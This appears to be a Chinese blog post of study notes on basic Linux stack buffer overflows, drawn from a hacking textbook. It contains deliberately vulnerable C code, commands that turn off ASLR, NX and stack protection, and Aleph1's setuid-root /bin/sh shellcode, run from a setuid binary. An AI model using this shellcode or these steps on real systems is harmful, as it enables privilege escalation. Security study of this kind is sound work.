灰帽黑客 基本的Linux漏洞攻击
有两个重要的寄存器负责处理堆栈:基址指针(EBP)和栈指针(ESP),EBP指向当前进程的当前栈帧的底部,ESP则总是指向栈顶
当调用函数的时候,会导致程序流跳转。在汇编代码调用函数时,将发生以下三件事:
(1)调用函数首先按照逆序将函数压入栈中,从而对函数调用进行设置
(2)接下来,将扩展的指令指针(EIP)保存到堆栈上,这样程序在函数返回后就能在之前中断的地方继续执行。将这个地址称为返回地址。
(3)最后执行call指令,将函数的地址放入EIP中执行
被调用函数的职责是,首先将调用程序的EBP寄存器内容保存在堆栈上,其次将当前ESP寄存器内容保存到ESP寄存器中设置当前栈帧,然后减少ESP寄存器数值,从而为该函数的本地变量
腾出空间,最后,该函数获得机会执行它的语句,将这个过程称为函数首部(Prolog)。
被调用函数在返回到调用程序之前所要做的最后一件事情是将ESP值增加到EBP,并清空栈。在返回时,从堆栈中弹出所保存的EIP值,将这个过程称为函数尾部(Epolog)。如果一切运转正常,EIP
将仍保存这要加载的下一条指令的地址,因此程序将继续执行该函数调用之后的语句。
示意图如下:
图 1
缓冲区溢出
由于现在大多数操作系统都使用地址空间布局随机化(Address Space Layout Randomization,ASLR)技术将堆栈内存调用随机化。
查看/proc/sys/kernel/randomize_va_space
随机化支持以下值:
0 –无随机化。 一切都是静态的。
1 –保守随机。 共享库,堆栈,mmap(),VDSO和堆是随机的。
2 –完全随机化。 除了上一点中列出的元素之外,通过brk()管理的内存也被随机化了。
初始值为2,即完全的随机化
使用以下命令暂时关闭ASLR
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
自己试了下其他方法,并参考[1]发现:
1.无法直接通过vim、vi、gedit等编辑器编辑
2.不可以sudo echo 0 > /proc/sys/kernel/randomize_va_space,会提示bash: /proc/sys/kernel/randomize_va_space: Permission denied因为sudo命令不支持重定向
缓冲区本身并没有任何机制能够阻止将过多的数据存放到预留的空间中。可以尝试以下的代码段:
overflow.c
//overflow.c #include <string.h> main(){ char str1[10]; //declare a 10 byte string //next, copy 35 bytes of "A" to str1 strcpy (str1, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); }
使用gcc编译 gcc -ggdb -mpreferred-stack-boundary=4 -fno-stack-protector -o overflow overflow.c
运行后报错
使用gdb来查找原因
这里和原教材有出入,主要是由于我的是64位系统,而教程是32位系统,虽然造成了缓冲区溢出,但是,并不能介绍其原因。。。
A的“A的ASCII码是65,16进制下为0x14,一些寄存器的值被填为AAAAAAAA,另一些没有
我以为是数据太少的结果,将A增加到50,70,100,还是没达到预期的结果,还望大佬们告知,不甚感激。
---->书中讲解了原因:“根据使用的gcc版本和其他要素,程序崩溃的部分可能有所不同”
由于程序试图返回时,将从堆栈中弹出所保存的EIP值并执行下一条语句,由于rip寄存器的值超过了进程段的范围,故得到了段错误的"奖励"。
实验1 meet.c溢出
//meet.c #include <stdio.h> // needed for screen printing #include <string.h> greeting(char *temp1,char *temp2){ // greeting function to say hello char name[400]; // string variable to hold the name strcpy(name, temp2); // copy the function argument to name printf("Hello %s %s\n", temp1, name); //print out the greeting } main(int argc, char * argv[]){ //note the format for arguments greeting(argv[1], argv[2]); //call function, pass title & name printf("Bye %s %s\n", argv[1], argv[2]); //say "bye" } //exit program
其基本的函数调用如下
为了使400字节的缓冲区溢出,需要使用一种解释语言Perl
其一个简单实例如下,向显示屏输出100个A:
编译meet.c后运行
gcc -ggdb -mpreferred-stack-boundary=4 -fno-stack-protector -o meet ./meet.c ./meet shun `perl -e 'print "A" x 10'`
之后,向meet.c输出1000个A
./meet shun `perl -e 'print "A" x 1000'`
由图一可知,若写入的数据超过堆栈中压入EIP的位置,就会将从temp1开始的函数参数覆盖。由于printf函数使用了temp1,因此就会有问题,使用gdb检测:
可以发现temp1,temp2已被破坏, 他们指针指向0x4141414141414141处,此处存放的值为“”或null。但问题是printf()不会将空值作为唯一输入而停留下来。下面先从较小的A,如404开始,之后增加,观察现象
printf部分的argc和argv参数被溢出的数据篡改导致无法访问,栈底指针rip的值也受到了影响
继续增长
rip的后32位为全A,其已被污染
缓冲区溢出的后果
1.拒绝服务
2.EIP被控制,并以用户级访问权限执行恶意代码
3.EIP被控制,并以系统级或根级权限访问权限执行恶意代码
本地缓冲区溢出漏洞攻击
1.漏洞攻击的组件
(1)NOP雪橇
NOP就是在流水线等技术中常常使用到的空操作,英文名为no operation。在汇编代码中汇编器使用NOP操作来进行优化,对代码块进行填充。从而实现字对齐。
当黑客们将NOP指令加入到攻击缓冲区前面的时候,成为NOP雪橇,如果rip/eip指向了NOP雪橇,那么处理器将顺着雪橇滑入下一组件。
(2)shellcode
shellcode是专门用于表示那些执行黑客指令的机器码。
shellcode实际上是二进制代码,通常使用16进制表示。
实例shellcode.c
//shellcode.c char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref. "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { //main function int *ret; //ret pointer for manipulating saved return. ret = (int *)&ret + 2; //setret to point to the saved return //value on the stack. (*ret) = (int)shellcode; //change the saved return value to the //address of the shellcode, so it executes. }
编译 gcc -ggdb -mpreferred-stack-boundary=4 -fno-stack-protector -z execstack -o shellcode shellcode.c
与之前不同的是,多了"-z execstack",这是关闭NX安全机制
NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。[2]
sudo su //进入超级用户,我的实验环境是ubuntu chmod u+s shellcode useradd -m joe //添加一个新用户(也可以使用任一个不是root的用户) su joe //使用新用户 ./shellcode ./shellcode id
但是书上的代码并没有实现其目标....原因暂未知......
(3)重复返回地址
漏洞攻击之中最重要的就是返回地址的值,必须完美的对其进行重复,以此作为缓冲区溢出的填充,直到覆盖堆栈上保存的EIP值。
gcc可以使用如下的内联汇编:
get_sp.c:
#include <stdio.h> unsigned int get_sp(void){ __asm__("movl %esp, %eax"); } int main(){ printf("Stack pointer (ESP): 0x%x\n", get_sp()); }
开启ALSR:
sudo sh -c "echo 2 > /proc/sys/kernel/randomize_va_space"
可以发现,每次栈地址均不同
而关闭之后
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
可以发现栈地址不变
这三种方法按一下地址组合
[1]https://www.cnblogs.com/scrat/p/3505930.html
[2]https://www.cnblogs.com/Spider-spiders/p/8798628.html
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构